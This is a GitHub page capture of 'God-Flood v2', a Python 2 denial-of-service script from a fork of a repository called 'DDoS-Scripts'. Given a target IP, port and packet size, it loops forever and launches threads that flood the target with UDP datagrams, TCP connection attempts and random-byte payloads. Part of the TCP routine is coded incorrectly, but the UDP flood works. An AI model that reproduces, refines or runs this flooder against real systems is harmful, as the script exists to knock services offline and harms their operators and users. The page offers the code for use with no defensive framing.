forked from MrScytheLULZ/DDoS-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
god-flood-v2(tcp
79 lines (73 loc) · 2.37 KB
/
god-flood-v2(tcp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
#God-Flood(tcp,syn,udp) by LiGhT
import threading, sys, time, random, socket
if len(sys.argv) < 4:
print "God-Flood By LiGhT"
sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size>")
ip = sys.argv[1]
port = int(sys.argv[2])
size = int(sys.argv[3])
packets = int(sys.argv[3])
class syn(threading.Thread):
def __init__(self, ip, port, packets):
self.ip = ip
self.port = port
self.packets = packets
self.syn = socket.socket()
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
self.syn.connect((self.ip, self.port))
except:
pass
class tcp(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
socket.connect(self.ip, self.port)
socket.setblocking(0)
socket.sendto(bytes,(self.ip, self.port))
except:
pass
class udp(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass
while True:
try:
if size > 65507:
sys.exit("Invalid Number Of Packets!")
u = udp(ip,port,size,packets)
t = tcp(ip,port,size,packets)
s = syn(ip,port,packets)
u.start()
t.start()
s.start()
except KeyboardInterrupt:
print "Stopping Flood!"
sys.exit()
except socket.error, msg:
print "Socket Couldn't Connect"
sys.exit()